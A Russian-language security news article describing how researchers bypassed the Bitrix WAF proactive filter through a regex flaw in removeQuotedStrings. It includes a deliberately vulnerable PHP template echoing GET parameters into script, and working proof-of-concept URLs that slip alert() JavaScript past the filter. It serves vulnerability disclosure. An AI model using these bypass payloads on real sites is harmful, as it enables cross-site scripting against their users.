Обнаружен способ обхода проактивного фильтра Bitrix WAF

Обнаружен способ обхода проактивного фильтра Bitrix WAF

Метод заключается в эксплуатации ошибки в регулярном выражении.

Эксперты компании High-Tech Bridge обнаружили способ обхода проактивного фильтра (Bitrix WAF), используемого в системе управления сайтами Bitrix Site Manager (Bitrix24). Метод заключается в эксплуатации ошибки в регулярном выражении.

В ходе одного из аудитов исследователи столкнулись с сайтом на базе Bitrix Site Manager с самописным кодом, содержащим множественные XSS-уязвимости, однако встроенный проактивный фильтр существенно затруднял их эксплуатацию. Уязвимый код имел примерно такую структуру:

<script>

P1='<?=$_GET['P1']?>'; P2=<?=$_GET['P2']?>; P3=<?=$_GET['P3']?>;

</script>

Как видно, XSS присутствуют в трех параметрах. Bitrix WAF успешно блокировал все классические попытки эксплуатации (срабатывали правила, основанные на обработке содержимого страницы post_filter).

Обработка содержимого страницы происходит в следующей функции:

protected function isDangerBody($body) { if (self::isFoundInString($body, $this->quotedSearches)) { return true; } else if (!empty($this->searches)) { $bodyWithoutQuotes = $this->removeQuotedStrings($body, false); if (self::isFoundInString($bodyWithoutQuotes, $this->searches)) { return true; } } return false; }

На вход этой функции попадает содержимое всех JavaScript-кодов на странице. Функция блокирует JavaScript, заменяя его строкой <!-- deleted by bitrix WAF -->) в случае, если:

  • JavaScript-код содержит любую входную переменную с кавычками;

  • JavaScript-код содержит вне строковых выражений (кроме чисел и строк длиной мене трех символов) любую входную переменную без кавычек.

Для второй проверки используется функция removeQuotedStrings:

public function removeQuotedStrings($string, $isSaveQuotes = true) { if($isSaveQuotes) { $this->quotes = array(); return preg_replace_callback('/( "[^"\\\\]*(?:\\\\.[^"\\\\]*)*" # match double quoted string ; | \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\' # match single quoted string )/x', array($this, "pushQuote"), $string); } else { return preg_replace('/( "[^"\\\\]*(?:\\\\.[^"\\\\]*)*" # match double quoted string | \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\';# match single quoted string )/x', '', $string); } }

Функция удаляет из анализируемого текста все строки и возвращает для анализа получившийся результат, содержащий исключительно выполняемые конструкции JavaScript. Метод правильно обрабатывает вложенные кавычки и другие символы, последовательности обратных слешей и пр. Однако, как заметили исследователи, из-за отсутствия модификатора «s» в регулярном выражении символ точка будет совпадать со всеми символами, кроме перевода строки. Если после обратного слеша будет стоять перевод строки, то строка не будет захвачена регулярным выражением.

Вход:

P1='xxx\

'; P2=11; P3=22;

Выход:

P1='xxx\

'; P2=11; P3=22;

Можно проэксплуатировать с помощью PoC-кода

test.php?P1=xxx\%0A%0D&P2=11&P3=33

Если добавить еще одну кавычку, метод removeQuotedStrings вернет строку с вырезанной выполняемой частью JavaScript-кода (вместо строк) и позволит обойти вторую часть фильтрации в функции isDangerBody().

Вход:

P1='xxx\

';CODECODE'; P2=11; P3=22;

P1='xxx\';alert(/ImmuniWeb/)'; P2=11; P3=22;

Выход:

P1='xxx\

; P2=11; P3=22;

P1='xxx\

; P2=11; P3=22;

Однако PoC-код

test.php?P1=xxx\%0A%0D';alert(/ImmuniWeb/);'&P2=11&P3=33
не сработает, поскольку параметр P1 содержит кавычку, а значит его поиск будет осуществятся по необработанной строке (первая часть фильтрации isDangerBody).

Остаются еще два параметра для манипуляции. В один можно внедрить переводы строки и кавычки, а в другой – выполняемый JavaScript-код. Можно также исключить любой параметр из анализа, сделав его длину менее чем три символа.

Вход:

P1='\

'; P2=11; P3=22;

P1='\

'; P2=11; P3=';

P1='\

'; P2=CODECODECODE; P3=';

P1='\

'; P2=alert(/ImmuniWeb/); P3=';

Выход:

P1='\

'; P2=11; P3=22;

P1='xxx\

;

P1='xxx\

;

P1='xxx\

;

В случае отсутствия кавычек из анализа проактивного фильтра параметр P2 исключается полностью. Последней строке таблицы соответствует PoC-код

test.php?P1=\%0A&P2=alert(/ImmuniWeb/)&P3='

С целью избежать синтаксической ошибки в JavaScript-коде в последний параметр нужно добавить еще одну кавычку. PoC-код test.php?P1=\%0A&P2=alert(/ImmuniWeb/)&P3='' будет соответствовать следующему коду HTML:

<script>

P1='\

'; P2=alert(/ImmuniWeb/); P3='';

</script>

Данный JavaScript-код является корректным, а PoC-код не блокируется проактивным фильтром. Значения P1 и P3 не подвергаются анализу, поскольку их длина менее трех символов. Вследствие описанной выше ошибки в регулярном выражении значение параметра P2 целиком исключается из анализа в случае отсутствия кавычек.

SOC как супергерой: не спит, не ест, следит за безопасностью!

И мы тоже не спим, чтобы держать вас в курсе всех угроз

Подключитесь к экспертному сообществу!